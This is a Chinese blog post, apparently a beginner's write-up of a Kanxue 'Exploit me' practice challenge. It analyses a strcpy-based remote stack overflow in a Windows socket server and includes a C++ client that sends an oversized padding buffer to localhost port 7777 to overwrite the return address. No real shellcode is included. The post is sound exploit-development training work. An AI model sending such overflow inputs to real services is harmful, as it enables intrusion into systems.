zoukankan      html  css  js  c++  java
  • 一个简单的远程溢出漏洞分析

    这是看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手。

    http://bbs.pediy.com/showthread.php?t=56998

    进入正题

    首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单。就是一个很常规的SOCKET流程带有一些错误处理。

    下面详细说明。

    mov ebp,eax

    test ebp,ebp

    很明显是对socket函数进行错误处理

    同样是错误处理,判断accept函数是否执行成功

    这里就是关键了,因为下面就结束连接了,问题肯定出在这里

    跟进这个call

    发现这里有复制的行为,F5看一下,原来是个strcpy

    同时发现个好玩的地方,这个函数没有建立栈帧,这个函数的确是call进来的不是jmp进来的。

    然而却没有栈帧。是通过对esp操作来开辟栈空间和指明返回地址的。

    那么这里就可以猜到0xC8就是局部变量距离返回地址的大小。

    接下来用OD进行调试。

    在RET上下断点,可以得到这样。

    分析栈可知,确实是我们上面猜的那样,就是0x8C的大小。

    写了一个简单的socket用来发送shellcode

     1 // EXP.cpp : 定义控制台应用程序的入口点。
     2 //
     3 
     4 #include <winsock2.h>
     5 #include "stdafx.h"
     6 #include "windows.h"
     7 #pragma comment(lib, "Ws2_32.lib ")
     8 char shellcode[] =
     9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    12 "AAAAAAAAAAAAAAAAAAAAAAxCCxDDxEExFF";
    13 int main()
    14 {
    15     SOCKET MySocket;
    16     WSADATA OUTDATA;
    17     WSAStartup(MAKEWORD(2, 2), &OUTDATA);
    18     MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    19     sockaddr_in SocketInfo;
    20     SocketInfo.sin_family = AF_INET;
    21     SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    22     SocketInfo.sin_port = htons(7777);//7777端口通过对目标的bind的函数分析可以得出
    23     if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo))
    24         ==SOCKET_ERROR)
    25     {
    26         MessageBox(NULL, L"error", L"error", 0);
    27     }
    28     send(MySocket, shellcode, sizeof(shellcode), 0);
    29     return 0;
    30 }

    结果如下

    返回地址被成功覆盖!

    本来应该写出shellcode的但是因为不会写。。所以,以后再补全吧,待我再研究研究。

    漏洞到这里就已经分析清楚了,就是一个简单的strcpy导致的远程溢出漏洞。

  • 相关阅读:
    2020牛客暑期多校训练营(第三场)
    2020牛客暑期多校训练营(第二场)
    C# 获取枚举类型中所有描述信息 Xinner
    XPath Xinner
    02kubeadm安装
    thinkphp6:访问redis6(thinkphp 6.0.9/php 8.0.14)
    npm8.3.0 安装@vue/cli 4.5.15
    linux(ubuntu 21.10): php8.0.14:安装phpredis以访问redis(phpredis5.3.5)
    linux(ubuntu21.10):apt方式安装redis6.0.15
    阿里云何万青:南坡VS北坡,阿里云高性能计算行业实践
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5260364.html
Copyright © 2011-2022 走看看